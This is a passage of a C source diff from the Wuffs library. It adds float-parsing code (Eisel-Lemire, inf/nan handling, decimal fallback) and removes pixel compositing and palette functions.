exit this if-block, we only care about the high 128 bits ++ // (merged_hi and merged_lo) of that 192-bit product. ++ // ++ // For example, parsing "1.234e-45" will take the if-true branch here, ++ // since: ++ // - x_hi = 0x70B7E3696DB29FFF ++ // - x_lo = 0xE040000000000000 ++ // - y_hi = 0x33718BBEAB0E0D7A ++ // - y_lo = 0xA880000000000000 ++ uint64_t merged_hi = x_hi; ++ uint64_t merged_lo = x_lo + y_hi; ++ if (merged_lo < x_lo) { ++ merged_hi++; // Carry the overflow bit. ++ } + +- uint32_t y; +- for (y = rect.min_incl_y; y < rect.max_excl_y; y++) { +- uint32_t x; +- for (x = rect.min_incl_x; x < rect.max_excl_x; x++) { +- wuffs_base__pixel_buffer__set_color_u32_at(pb, x, y, color); ++ // The "high resolution" approximation of e is still a lower bound. Once ++ // again, see if the upper bound is large enough to produce a different ++ // result. This time, if it does, give up instead of reaching for an even ++ // more precise approximation to e. ++ // ++ // This three-part check is similar to the two-part check that guarded the ++ // if block that we're now in, but it has an extra term for the middle 64 ++ // bits (checking that adding 1 to merged_lo would overflow). ++ // ++ // For example, parsing "5.9604644775390625e-8" will take the if-true ++ // branch here, since: ++ // - merged_hi = 0x7FFFFFFFFFFFFFFF ++ // - merged_lo = 0xFFFFFFFFFFFFFFFF ++ // - y_lo = 0x4DB3FFC120988200 ++ // - man = 0xD3C21BCECCEDA100 ++ if (((merged_hi & 0x1FF) == 0x1FF) && ((merged_lo + 1) == 0) && ++ (y_lo + man < man)) { ++ return -1; + } ++ ++ // Replace the 128-bit x with merged. ++ x_hi = merged_hi; ++ x_lo = merged_lo; + } +- return wuffs_base__make_status(NULL); +-} + +-// -------- ++ // As mentioned above, shifting x_hi right by either 9 or 10 bits will leave ++ // the top 10 MSBs (bits 54 ..= 63) off and the 11th MSB (bit 53) on. If the ++ // MSB (before shifting) was on, adjust ret_exp2 for the larger shift. ++ // ++ // Having bit 53 on (and higher bits off) means that ret_mantissa is a 54-bit ++ // number. ++ uint64_t msb = x_hi >> 63; ++ uint64_t ret_mantissa = x_hi >> (msb + 9); ++ ret_exp2 -= 1 ^ msb; + +-WUFFS_BASE__MAYBE_STATIC uint8_t // +-wuffs_base__pixel_palette__closest_element( +- wuffs_base__slice_u8 palette_slice, +- wuffs_base__pixel_format palette_format, +- wuffs_base__color_u32_argb_premul c) { +- size_t n = palette_slice.len / 4; +- if (n > (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { +- n = (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4); ++ // IEEE 754 rounds to-nearest with ties rounded to-even. Rounding to-even can ++ // be tricky. If we're half-way between two exactly representable numbers ++ // (x's low 73 bits are zero and the next 2 bits that matter are "01"), give ++ // up instead of trying to pick the winner. ++ // ++ // Technically, we could tighten the condition by changing "73" to "73 or 74, ++ // depending on msb", but a flat "73" is simpler. ++ // ++ // For example, parsing "1e+23" will take the if-true branch here, since: ++ // - x_hi = 0x54B40B1F852BDA00 ++ // - ret_mantissa = 0x002A5A058FC295ED ++ if ((x_lo == 0) && ((x_hi & 0x1FF) == 0) && ((ret_mantissa & 3) == 1)) { ++ return -1; + } +- size_t best_index = 0; +- uint64_t best_score = 0xFFFFFFFFFFFFFFFF; + +- // Work in 16-bit color. +- uint32_t ca = 0x101 * (0xFF & (c >> 24)); +- uint32_t cr = 0x101 * (0xFF & (c >> 16)); +- uint32_t cg = 0x101 * (0xFF & (c >> 8)); +- uint32_t cb = 0x101 * (0xFF & (c >> 0)); +- +- switch (palette_format.repr) { +- case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_NONPREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_PREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_BINARY: { +- bool nonpremul = palette_format.repr == +- WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_NONPREMUL; +- +- size_t i; +- for (i = 0; i < n; i++) { +- // Work in 16-bit color. +- uint32_t pb = 0x101 * ((uint32_t)(palette_slice.ptr[(4 * i) + 0])); +- uint32_t pg = 0x101 * ((uint32_t)(palette_slice.ptr[(4 * i) + 1])); +- uint32_t pr = 0x101 * ((uint32_t)(palette_slice.ptr[(4 * i) + 2])); +- uint32_t pa = 0x101 * ((uint32_t)(palette_slice.ptr[(4 * i) + 3])); +- +- // Convert to premultiplied alpha. +- if (nonpremul && (pa != 0xFFFF)) { +- pb = (pb * pa) / 0xFFFF; +- pg = (pg * pa) / 0xFFFF; +- pr = (pr * pa) / 0xFFFF; +- } +- +- // These deltas are conceptually int32_t (signed) but after squaring, +- // it's equivalent to work in uint32_t (unsigned). +- pb -= cb; +- pg -= cg; +- pr -= cr; +- pa -= ca; +- uint64_t score = ((uint64_t)(pb * pb)) + ((uint64_t)(pg * pg)) + +- ((uint64_t)(pr * pr)) + ((uint64_t)(pa * pa)); +- if (best_score > score) { +- best_score = score; +- best_index = i; +- } +- } +- break; +- } ++ // If we're not halfway then it's rounding to-nearest. Starting with a 54-bit ++ // number, carry the lowest bit (bit 0) up if it's on. Regardless of whether ++ // it was on or off, shifting right by one then produces a 53-bit number. If ++ // carrying up overflowed, shift again. ++ ret_mantissa += ret_mantissa & 1; ++ ret_mantissa >>= 1; ++ // This if block is equivalent to (but benchmarks slightly faster than) the ++ // following branchless form: ++ // uint64_t overflow_adjustment = ret_mantissa >> 53; ++ // ret_mantissa >>= overflow_adjustment; ++ // ret_exp2 += overflow_adjustment; ++ // ++ // For example, parsing "7.2057594037927933e+16" will take the if-true ++ // branch here, since: ++ // - x_hi = 0x7FFFFFFFFFFFFE80 ++ // - ret_mantissa = 0x0020000000000000 ++ if ((ret_mantissa >> 53) > 0) { ++ ret_mantissa >>= 1; ++ ret_exp2++; + } + +- return (uint8_t)best_index; ++ // Starting with a 53-bit number, IEEE 754 double-precision normal numbers ++ // have an implicit mantissa bit. Mask that away and keep the low 52 bits. ++ ret_mantissa &= 0x000FFFFFFFFFFFFF; ++ ++ // Pack the bits and return. ++ return ((int64_t)(ret_mantissa | (ret_exp2 << 52))); + } + + // -------- + +-static inline uint32_t // +-wuffs_base__composite_nonpremul_nonpremul_u32_axxx(uint32_t dst_nonpremul, +- uint32_t src_nonpremul) { +- // Extract 16-bit color components. +- // +- // If the destination is transparent then SRC_OVER is equivalent to SRC: just +- // return src_nonpremul. This isn't just an optimization (skipping the rest +- // of the function's computation). It also preserves the nonpremul +- // distinction between e.g. transparent red and transparent blue that would +- // otherwise be lost by converting from nonpremul to premul and back. +- uint32_t da = 0x101 * (0xFF & (dst_nonpremul >> 24)); +- if (da == 0) { +- return src_nonpremul; +- } +- uint32_t dr = 0x101 * (0xFF & (dst_nonpremul >> 16)); +- uint32_t dg = 0x101 * (0xFF & (dst_nonpremul >> 8)); +- uint32_t db = 0x101 * (0xFF & (dst_nonpremul >> 0)); +- uint32_t sa = 0x101 * (0xFF & (src_nonpremul >> 24)); +- uint32_t sr = 0x101 * (0xFF & (src_nonpremul >> 16)); +- uint32_t sg = 0x101 * (0xFF & (src_nonpremul >> 8)); +- uint32_t sb = 0x101 * (0xFF & (src_nonpremul >> 0)); +- +- // Convert dst from nonpremul to premul. +- dr = (dr * da) / 0xFFFF; +- dg = (dg * da) / 0xFFFF; +- db = (db * da) / 0xFFFF; ++static wuffs_base__result_f64 // ++wuffs_private_impl__parse_number_f64_special(wuffs_base__slice_u8 s, ++ uint32_t options) { ++ do { ++ if (options & WUFFS_BASE__PARSE_NUMBER_FXX__REJECT_INF_AND_NAN) { ++ goto fail; ++ } + +- // Calculate the inverse of the src-alpha: how much of the dst to keep. +- uint32_t ia = 0xFFFF - sa; ++ uint8_t* p = s.ptr; ++ uint8_t* q = s.ptr + s.len; + +- // Composite src (nonpremul) over dst (premul). +- da = sa + ((da * ia) / 0xFFFF); +- dr = ((sr * sa) + (dr * ia)) / 0xFFFF; +- dg = ((sg * sa) + (dg * ia)) / 0xFFFF; +- db = ((sb * sa) + (db * ia)) / 0xFFFF; ++ for (; (p < q) && (*p == '_'); p++) { ++ } ++ if (p >= q) { ++ goto fail; ++ } + +- // Convert dst from premul to nonpremul. +- if (da != 0) { +- dr = (dr * 0xFFFF) / da; +- dg = (dg * 0xFFFF) / da; +- db = (db * 0xFFFF) / da; +- } ++ // Parse sign. ++ bool negative = false; ++ do { ++ if (*p == '+') { ++ p++; ++ } else if (*p == '-') { ++ negative = true; ++ p++; ++ } else { ++ break; ++ } ++ for (; (p < q) && (*p == '_'); p++) { ++ } ++ } while (0); ++ if (p >= q) { ++ goto fail; ++ } + +- // Convert from 16-bit color to 8-bit color. +- da >>= 8; +- dr >>= 8; +- dg >>= 8; +- db >>= 8; ++ bool nan = false; ++ switch (p[0]) { ++ case 'I': ++ case 'i': ++ if (((q - p) < 3) || // ++ ((p[1] != 'N') && (p[1] != 'n')) || // ++ ((p[2] != 'F') && (p[2] != 'f'))) { ++ goto fail; ++ } ++ p += 3; + +- // Combine components. +- return (db << 0) | (dg << 8) | (dr << 16) | (da << 24); +-} ++ if ((p >= q) || (*p == '_')) { ++ break; ++ } else if (((q - p) < 5) || // ++ ((p[0] != 'I') && (p[0] != 'i')) || // ++ ((p[1] != 'N') && (p[1] != 'n')) || // ++ ((p[2] != 'I') && (p[2] != 'i')) || // ++ ((p[3] != 'T') && (p[3] != 't')) || // ++ ((p[4] != 'Y') && (p[4] != 'y'))) { ++ goto fail; ++ } ++ p += 5; + +-static inline uint64_t // +-wuffs_base__composite_nonpremul_nonpremul_u64_axxx(uint64_t dst_nonpremul, +- uint64_t src_nonpremul) { +- // Extract components. +- // +- // If the destination is transparent then SRC_OVER is equivalent to SRC: just +- // return src_nonpremul. This isn't just an optimization (skipping the rest +- // of the function's computation). It also preserves the nonpremul +- // distinction between e.g. transparent red and transparent blue that would +- // otherwise be lost by converting from nonpremul to premul and back. +- uint64_t da = 0xFFFF & (dst_nonpremul >> 48); +- if (da == 0) { +- return src_nonpremul; +- } +- uint64_t dr = 0xFFFF & (dst_nonpremul >> 32); +- uint64_t dg = 0xFFFF & (dst_nonpremul >> 16); +- uint64_t db = 0xFFFF & (dst_nonpremul >> 0); +- uint64_t sa = 0xFFFF & (src_nonpremul >> 48); +- uint64_t sr = 0xFFFF & (src_nonpremul >> 32); +- uint64_t sg = 0xFFFF & (src_nonpremul >> 16); +- uint64_t sb = 0xFFFF & (src_nonpremul >> 0); ++ if ((p >= q) || (*p == '_')) { ++ break; ++ } ++ goto fail; + +- // Convert dst from nonpremul to premul. +- dr = (dr * da) / 0xFFFF; +- dg = (dg * da) / 0xFFFF; +- db = (db * da) / 0xFFFF; ++ case 'N': ++ case 'n': ++ if (((q - p) < 3) || // ++ ((p[1] != 'A') && (p[1] != 'a')) || // ++ ((p[2] != 'N') && (p[2] != 'n'))) { ++ goto fail; ++ } ++ p += 3; + +- // Calculate the inverse of the src-alpha: how much of the dst to keep. +- uint64_t ia = 0xFFFF - sa; ++ if ((p >= q) || (*p == '_')) { ++ nan = true; ++ break; ++ } ++ goto fail; + +- // Composite src (nonpremul) over dst (premul). +- da = sa + ((da * ia) / 0xFFFF); +- dr = ((sr * sa) + (dr * ia)) / 0xFFFF; +- dg = ((sg * sa) + (dg * ia)) / 0xFFFF; +- db = ((sb * sa) + (db * ia)) / 0xFFFF; ++ default: ++ goto fail; ++ } + +- // Convert dst from premul to nonpremul. +- if (da != 0) { +- dr = (dr * 0xFFFF) / da; +- dg = (dg * 0xFFFF) / da; +- db = (db * 0xFFFF) / da; +- } ++ // Finish. ++ for (; (p < q) && (*p == '_'); p++) { ++ } ++ if (p != q) { ++ goto fail; ++ } ++ wuffs_base__result_f64 ret; ++ ret.status.repr = NULL; ++ ret.value = wuffs_base__ieee_754_bit_representation__from_u64_to_f64( ++ (nan ? 0x7FFFFFFFFFFFFFFF : 0x7FF0000000000000) | ++ (negative ? 0x8000000000000000 : 0)); ++ return ret; ++ } while (0); + +- // Combine components. +- return (db << 0) | (dg << 16) | (dr << 32) | (da << 48); ++fail: ++ do { ++ wuffs_base__result_f64 ret; ++ ret.status.repr = wuffs_base__error__bad_argument; ++ ret.value = 0; ++ return ret; ++ } while (0); + } + +-static inline uint32_t // +-wuffs_base__composite_nonpremul_premul_u32_axxx(uint32_t dst_nonpremul, +- uint32_t src_premul) { +- // Extract 16-bit color components. +- uint32_t da = 0x101 * (0xFF & (dst_nonpremul >> 24)); +- uint32_t dr = 0x101 * (0xFF & (dst_nonpremul >> 16)); +- uint32_t dg = 0x101 * (0xFF & (dst_nonpremul >> 8)); +- uint32_t db = 0x101 * (0xFF & (dst_nonpremul >> 0)); +- uint32_t sa = 0x101 * (0xFF & (src_premul >> 24)); +- uint32_t sr = 0x101 * (0xFF & (src_premul >> 16)); +- uint32_t sg = 0x101 * (0xFF & (src_premul >> 8)); +- uint32_t sb = 0x101 * (0xFF & (src_premul >> 0)); ++WUFFS_BASE__MAYBE_STATIC wuffs_base__result_f64 // ++wuffs_private_impl__high_prec_dec__to_f64(wuffs_private_impl__high_prec_dec* h, ++ uint32_t options) { ++ do { ++ // powers converts decimal powers of 10 to binary powers of 2. For example, ++ // (10000 >> 13) is 1. It stops before the elements exceed 60, also known ++ // as WUFFS_PRIVATE_IMPL__HPD__SHIFT__MAX_INCL. ++ // ++ // This rounds down (1<<13 is a lower bound for 1e4). Adding 1 to the array ++ // element value rounds up (1<<14 is an upper bound for 1e4) while staying ++ // at or below WUFFS_PRIVATE_IMPL__HPD__SHIFT__MAX_INCL. ++ // ++ // When starting in the range [1e+1 .. 1e+2] (i.e. h->decimal_point == +2), ++ // powers[2] == 6 and so: ++ // - Right shifting by 6+0 produces the range [10/64 .. 100/64] = ++ // [0.156250 .. 1.56250]. The resultant h->decimal_point is +0 or +1. ++ // - Right shifting by 6+1 produces the range [10/128 .. 100/128] = ++ // [0.078125 .. 0.78125]. The resultant h->decimal_point is -1 or -0. ++ // ++ // When starting in the range [1e-3 .. 1e-2] (i.e. h->decimal_point == -2), ++ // powers[2] == 6 and so: ++ // - Left shifting by 6+0 produces the range [0.001*64 .. 0.01*64] = ++ // [0.064 .. 0.64]. The resultant h->decimal_point is -1 or -0. ++ // - Left shifting by 6+1 produces the range [0.001*128 .. 0.01*128] = ++ // [0.128 .. 1.28]. The resultant h->decimal_point is +0 or +1. ++ // ++ // Thus, when targeting h->decimal_point being +0 or +1, use (powers[n]+0) ++ // when right shifting but (powers[n]+1) when left shifting. ++ static const uint32_t num_powers = 19; ++ static const uint8_t powers[19] = { ++ 0, 3, 6, 9, 13, 16, 19, 23, 26, 29, // ++ 33, 36, 39, 43, 46, 49, 53, 56, 59, // ++ }; + +- // Convert dst from nonpremul to premul. +- dr = (dr * da) / 0xFFFF; +- dg = (dg * da) / 0xFFFF; +- db = (db * da) / 0xFFFF; ++ // Handle zero and obvious extremes. The largest and smallest positive ++ // finite f64 values are approximately 1.8e+308 and 4.9e-324. ++ if ((h->num_digits == 0) || (h->decimal_point < -326)) { ++ goto zero; ++ } else if (h->decimal_point > 310) { ++ goto infinity; ++ } + +- // Calculate the inverse of the src-alpha: how much of the dst to keep. +- uint32_t ia = 0xFFFF - sa; ++ // Try the fast Eisel-Lemire algorithm again. Calculating the (man, exp10) ++ // pair from the high_prec_dec h is more correct but slower than the ++ // approach taken in wuffs_base__parse_number_f64. The latter is optimized ++ // for the common cases (e.g. assuming no underscores or a leading '+' ++ // sign) rather than the full set of cases allowed by the Wuffs API. ++ // ++ // When we have 19 or fewer mantissa digits, run Eisel-Lemire once (trying ++ // for an exact result). When we have more than 19 mantissa digits, run it ++ // twice to get a lower and upper bound. We still have an exact result ++ // (within f64's rounding margin) if both bounds are equal (and valid). ++ uint32_t i_max = h->num_digits; ++ if (i_max > 19) { ++ i_max = 19; ++ } ++ int32_t exp10 = h->decimal_point - ((int32_t)i_max); ++ if ((-307 <= exp10) && (exp10 <= 288)) { ++ uint64_t man = 0; ++ uint32_t i; ++ for (i = 0; i < i_max; i++) { ++ man = (10 * man) + h->digits[i]; ++ } ++ while (man != 0) { // The 'while' is just an 'if' that we can 'break'. ++ int64_t r0 = ++ wuffs_private_impl__parse_number_f64_eisel_lemire(man + 0, exp10); ++ if (r0 < 0) { ++ break; ++ } else if (h->num_digits > 19) { ++ int64_t r1 = ++ wuffs_private_impl__parse_number_f64_eisel_lemire(man + 1, exp10); ++ if (r1 != r0) { ++ break; ++ } ++ } ++ wuffs_base__result_f64 ret; ++ ret.status.repr = NULL; ++ ret.value = wuffs_base__ieee_754_bit_representation__from_u64_to_f64( ++ ((uint64_t)r0) | (((uint64_t)(h->negative)) << 63)); ++ return ret; ++ } ++ } + +- // Composite src (premul) over dst (premul). +- da = sa + ((da * ia) / 0xFFFF); +- dr = sr + ((dr * ia) / 0xFFFF); +- dg = sg + ((dg * ia) / 0xFFFF); +- db = sb + ((db * ia) / 0xFFFF); ++ // When Eisel-Lemire fails, fall back to Simple Decimal Conversion. See ++ // https://nigeltao.github.io/blog/2020/parse-number-f64-simple.html ++ // ++ // Scale by powers of 2 until we're in the range [0.1 .. 10]. Equivalently, ++ // that h->decimal_point is +0 or +1. ++ // ++ // First we shift right while at or above 10... ++ const int32_t f64_bias = -1023; ++ int32_t exp2 = 0; ++ while (h->decimal_point > 1) { ++ uint32_t n = (uint32_t)(+h->decimal_point); ++ uint32_t shift = (n < num_powers) ++ ? powers[n] ++ : WUFFS_PRIVATE_IMPL__HPD__SHIFT__MAX_INCL; + +- // Convert dst from premul to nonpremul. +- if (da != 0) { +- dr = (dr * 0xFFFF) / da; +- dg = (dg * 0xFFFF) / da; +- db = (db * 0xFFFF) / da; +- } ++ wuffs_private_impl__high_prec_dec__small_rshift(h, shift); ++ if (h->decimal_point < -WUFFS_PRIVATE_IMPL__HPD__DECIMAL_POINT__RANGE) { ++ goto zero; ++ } ++ exp2 += (int32_t)shift; ++ } ++ // ...then we shift left while below 0.1. ++ while (h->decimal_point < 0) { ++ uint32_t shift; ++ uint32_t n = (uint32_t)(-h->decimal_point); ++ shift = (n < num_powers) ++ // The +1 is per "when targeting h->decimal_point being +0 or ++ // +1... when left shifting" in the powers comment above. ++ ? (powers[n] + 1u) ++ : WUFFS_PRIVATE_IMPL__HPD__SHIFT__MAX_INCL; + +- // Convert from 16-bit color to 8-bit color. +- da >>= 8; +- dr >>= 8; +- dg >>= 8; +- db >>= 8; ++ wuffs_private_impl__high_prec_dec__small_lshift(h, shift); ++ if (h->decimal_point > +WUFFS_PRIVATE_IMPL__HPD__DECIMAL_POINT__RANGE) { ++ goto infinity; ++ } ++ exp2 -= (int32_t)shift; ++ } + +- // Combine components. +- return (db << 0) | (dg << 8) | (dr << 16) | (da << 24); +-} ++ // To get from "in the range [0.1 .. 10]" to "in the range [1 .. 2]" (which ++ // will give us our exponent in base-2), the mantissa's first 3 digits will ++ // determine the final left shift, equal to 52 (the number of explicit f64 ++ // bits) plus an additional adjustment. ++ int man3 = (100 * h->digits[0]) + ++ ((h->num_digits > 1) ? (10 * h->digits[1]) : 0) + ++ ((h->num_digits > 2) ? h->digits[2] : 0); ++ int32_t additional_lshift = 0; ++ if (h->decimal_point == 0) { // The value is in [0.1 .. 1]. ++ if (man3 < 125) { ++ additional_lshift = +4; ++ } else if (man3 < 250) { ++ additional_lshift = +3; ++ } else if (man3 < 500) { ++ additional_lshift = +2; ++ } else { ++ additional_lshift = +1; ++ } ++ } else { // The value is in [1 .. 10]. ++ if (man3 < 200) { ++ additional_lshift = -0; ++ } else if (man3 < 400) { ++ additional_lshift = -1; ++ } else if (man3 < 800) { ++ additional_lshift = -2; ++ } else { ++ additional_lshift = -3; ++ } ++ } ++ exp2 -= additional_lshift; ++ uint32_t final_lshift = (uint32_t)(52 + additional_lshift); + +-static inline uint64_t // +-wuffs_base__composite_nonpremul_premul_u64_axxx(uint64_t dst_nonpremul, +- uint64_t src_premul) { +- // Extract components. +- uint64_t da = 0xFFFF & (dst_nonpremul >> 48); +- uint64_t dr = 0xFFFF & (dst_nonpremul >> 32); +- uint64_t dg = 0xFFFF & (dst_nonpremul >> 16); +- uint64_t db = 0xFFFF & (dst_nonpremul >> 0); +- uint64_t sa = 0xFFFF & (src_premul >> 48); +- uint64_t sr = 0xFFFF & (src_premul >> 32); +- uint64_t sg = 0xFFFF & (src_premul >> 16); +- uint64_t sb = 0xFFFF & (src_premul >> 0); ++ // The minimum normal exponent is (f64_bias + 1). ++ while ((f64_bias + 1) > exp2) { ++ uint32_t n = (uint32_t)((f64_bias + 1) - exp2); ++ if (n > WUFFS_PRIVATE_IMPL__HPD__SHIFT__MAX_INCL) { ++ n = WUFFS_PRIVATE_IMPL__HPD__SHIFT__MAX_INCL; ++ } ++ wuffs_private_impl__high_prec_dec__small_rshift(h, n); ++ exp2 += (int32_t)n; ++ } + +- // Convert dst from nonpremul to premul. +- dr = (dr * da) / 0xFFFF; +- dg = (dg * da) / 0xFFFF; +- db = (db * da) / 0xFFFF; ++ // Check for overflow. ++ if ((exp2 - f64_bias) >= 0x07FF) { // (1 << 11) - 1. ++ goto infinity; ++ } + +- // Calculate the inverse of the src-alpha: how much of the dst to keep. +- uint64_t ia = 0xFFFF - sa; ++ // Extract 53 bits for the mantissa (in base-2). ++ wuffs_private_impl__high_prec_dec__small_lshift(h, final_lshift); ++ uint64_t man2 = wuffs_private_impl__high_prec_dec__rounded_integer(h); + +- // Composite src (premul) over dst (premul). +- da = sa + ((da * ia) / 0xFFFF); +- dr = sr + ((dr * ia) / 0xFFFF); +- dg = sg + ((dg * ia) / 0xFFFF); +- db = sb + ((db * ia) / 0xFFFF); ++ // Rounding might have added one bit. If so, shift and re-check overflow. ++ if ((man2 >> 53) != 0) { ++ man2 >>= 1; ++ exp2++; ++ if ((exp2 - f64_bias) >= 0x07FF) { // (1 << 11) - 1. ++ goto infinity; ++ } ++ } + +- // Convert dst from premul to nonpremul. +- if (da != 0) { +- dr = (dr * 0xFFFF) / da; +- dg = (dg * 0xFFFF) / da; +- db = (db * 0xFFFF) / da; +- } ++ // Handle subnormal numbers. ++ if ((man2 >> 52) == 0) { ++ exp2 = f64_bias; ++ } + +- // Combine components. +- return (db << 0) | (dg << 16) | (dr << 32) | (da << 48); +-} ++ // Pack the bits and return. ++ uint64_t exp2_bits = ++ (uint64_t)((exp2 - f64_bias) & 0x07FF); // (1 << 11) - 1. ++ uint64_t bits = (man2 & 0x000FFFFFFFFFFFFF) | // (1 << 52) - 1. ++ (exp2_bits << 52) | // ++ (h->negative ? 0x8000000000000000 : 0); // (1 << 63). + +-static inline uint32_t // +-wuffs_base__composite_premul_nonpremul_u32_axxx(uint32_t dst_premul, +- uint32_t src_nonpremul) { +- // Extract 16-bit color components. +- uint32_t da = 0x101 * (0xFF & (dst_premul >> 24)); +- uint32_t dr = 0x101 * (0xFF & (dst_premul >> 16)); +- uint32_t dg = 0x101 * (0xFF & (dst_premul >> 8)); +- uint32_t db = 0x101 * (0xFF & (dst_premul >> 0)); +- uint32_t sa = 0x101 * (0xFF & (src_nonpremul >> 24)); +- uint32_t sr = 0x101 * (0xFF & (src_nonpremul >> 16)); +- uint32_t sg = 0x101 * (0xFF & (src_nonpremul >> 8)); +- uint32_t sb = 0x101 * (0xFF & (src_nonpremul >> 0)); ++ wuffs_base__result_f64 ret; ++ ret.status.repr = NULL; ++ ret.value = wuffs_base__ieee_754_bit_representation__from_u64_to_f64(bits); ++ return ret; ++ } while (0); + +- // Calculate the inverse of the src-alpha: how much of the dst to keep. +- uint32_t ia = 0xFFFF - sa; ++zero: ++ do { ++ uint64_t bits = h->negative ? 0x8000000000000000 : 0; + +- // Composite src (nonpremul) over dst (premul). +- da = sa + ((da * ia) / 0xFFFF); +- dr = ((sr * sa) + (dr * ia)) / 0xFFFF; +- dg = ((sg * sa) + (dg * ia)) / 0xFFFF; +- db = ((sb * sa) + (db * ia)) / 0xFFFF; ++ wuffs_base__result_f64 ret; ++ ret.status.repr = NULL; ++ ret.value = wuffs_base__ieee_754_bit_representation__from_u64_to_f64(bits); ++ return ret; ++ } while (0); + +- // Convert from 16-bit color to 8-bit color. +- da >>= 8; +- dr >>= 8; +- dg >>= 8; +- db >>= 8; ++infinity: ++ do { ++ if (options & WUFFS_BASE__PARSE_NUMBER_FXX__REJECT_INF_AND_NAN) { ++ wuffs_base__result_f64 ret; ++ ret.status.repr = wuffs_base__error__bad_argument; ++ ret.value = 0; ++ return ret; ++ } + +- // Combine components. +- return (db << 0) | (dg << 8) | (dr << 16) | (da << 24); +-} ++ uint64_t bits = h->negative ? 0xFFF0000000000000 : 0x7FF0000000000000; + +-static inline uint64_t // +-wuffs_base__composite_premul_nonpremul_u64_axxx(uint64_t dst_premul, +- uint64_t src_nonpremul) { +- // Extract components. +- uint64_t da = 0xFFFF & (dst_premul >> 48); +- uint64_t dr = 0xFFFF & (dst_premul >> 32); +- uint64_t dg = 0xFFFF & (dst_premul >> 16); +- uint64_t db = 0xFFFF & (dst_premul >> 0); +- uint64_t sa = 0xFFFF & (src_nonpremul >> 48); +- uint64_t sr = 0xFFFF & (src_nonpremul >> 32); +- uint64_t sg = 0xFFFF & (src_nonpremul >> 16); +- uint64_t sb = 0xFFFF & (src_nonpremul >> 0); +- +- // Calculate the inverse of the src-alpha: how much of the dst to keep. +- uint64_t ia = 0xFFFF - sa; +- +- // Composite src (nonpremul) over dst (premul). +- da = sa + ((da * ia) / 0xFFFF); +- dr = ((sr * sa) + (dr * ia)) / 0xFFFF; +- dg = ((sg * sa) + (dg * ia)) / 0xFFFF; +- db = ((sb * sa) + (db * ia)) / 0xFFFF; +- +- // Combine components. +- return (db << 0) | (dg << 16) | (dr << 32) | (da << 48); ++ wuffs_base__result_f64 ret; ++ ret.status.repr = NULL; ++ ret.value = wuffs_base__ieee_754_bit_representation__from_u64_to_f64(bits); ++ return ret; ++ } while (0); + } + +-static inline uint32_t // +-wuffs_base__composite_premul_premul_u32_axxx(uint32_t dst_premul, +- uint32_t src_premul) { +- // Extract 16-bit color components. +- uint32_t da = 0x101 * (0xFF & (dst_premul >> 24)); +- uint32_t dr = 0x101 * (0xFF & (dst_premul >> 16)); +- uint32_t dg = 0x101 * (0xFF & (dst_premul >> 8)); +- uint32_t db = 0x101 * (0xFF & (dst_premul >> 0)); +- uint32_t sa = 0x101 * (0xFF & (src_premul >> 24)); +- uint32_t sr = 0x101 * (0xFF & (src_premul >> 16)); +- uint32_t sg = 0x101 * (0xFF & (src_premul >> 8)); +- uint32_t sb = 0x101 * (0xFF & (src_premul >> 0)); +- +- // Calculate the inverse of the src-alpha: how much of the dst to keep. +- uint32_t ia = 0xFFFF - sa; +- +- // Composite src (premul) over dst (premul). +- da = sa + ((da * ia) / 0xFFFF); +- dr = sr + ((dr * ia) / 0xFFFF); +- dg = sg + ((dg * ia) / 0xFFFF); +- db = sb + ((db * ia) / 0xFFFF); +- +- // Convert from 16-bit color to 8-bit color. +- da >>= 8; +- dr >>= 8; +- dg >>= 8; +- db >>= 8; +- +- // Combine components. +- return (db << 0) | (dg << 8) | (dr << 16) | (da << 24); ++static inline bool // ++wuffs_private_impl__is_decimal_digit(uint8_t c) { ++ return ('0' <= c) && (c <= '9'); + } + +-// -------- ++WUFFS_BASE__MAYBE_STATIC wuffs_base__result_f64 // ++wuffs_base__parse_number_f64(wuffs_base__slice_u8 s, uint32_t options) { ++ // In practice, almost all "dd.ddddE±xxx" numbers can be represented ++ // losslessly by a uint64_t mantissa "dddddd" and an int32_t base-10 ++ // exponent, adjusting "xxx" for the position (if present) of the decimal ++ // separator '.' or ','. ++ // ++ // This (u64 man, i32 exp10) data structure is superficially similar to the ++ // "Do It Yourself Floating Point" type from Loitsch (†), but the exponent ++ // here is base-10, not base-2. ++ // ++ // If s's number fits in a (man, exp10), parse that pair with the ++ // Eisel-Lemire algorithm. If not, or if Eisel-Lemire fails, parsing s with ++ // the fallback algorithm is slower but comprehensive. ++ // ++ // † "Printing Floating-Point Numbers Quickly and Accurately with Integers" ++ // (https://www.cs.tufts.edu/~nr/cs257/archive/florian-loitsch/printf.pdf). ++ // Florian Loitsch is also the primary contributor to ++ // https://github.com/google/double-conversion ++ do { ++ // Calculating that (man, exp10) pair needs to stay within s's bounds. ++ // Provided that s isn't extremely long, work on a NUL-terminated copy of ++ // s's contents. The NUL byte isn't a valid part of "±dd.ddddE±xxx". ++ // ++ // As the pointer p walks the contents, it's faster to repeatedly check "is ++ // *p a valid digit" than "is p within bounds and *p a valid digit". ++ if (s.len >= 256) { ++ goto fallback; ++ } ++ uint8_t z[256]; ++ memcpy(&z[0], s.ptr, s.len); ++ z[s.len] = 0; ++ const uint8_t* p = &z[0]; + +-static uint64_t // +-wuffs_base__pixel_swizzler__squash_align4_bgr_565_8888(uint8_t* dst_ptr, +- size_t dst_len, +- const uint8_t* src_ptr, +- size_t src_len, +- bool nonpremul) { +- size_t len = (dst_len < src_len ? dst_len : src_len) / 4; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; ++ // Look for a leading minus sign. Technically, we could also look for an ++ // optional plus sign, but the "script/process-json-numbers.c with -p" ++ // benchmark is noticably slower if we do. It's optional and, in practice, ++ // usually absent. Let the fallback catch it. ++ bool negative = (*p == '-'); ++ if (negative) { ++ p++; ++ } + +- size_t n = len; +- while (n--) { +- uint32_t argb = wuffs_base__peek_u32le__no_bounds_check(s); +- if (nonpremul) { +- argb = +- wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul(argb); ++ // After walking "dd.dddd", comparing p later with p now will produce the ++ // number of "d"s and "."s. ++ const uint8_t* const start_of_digits_ptr = p; ++ ++ // Walk the "d"s before a '.', 'E', NUL byte, etc. If it starts with '0', ++ // it 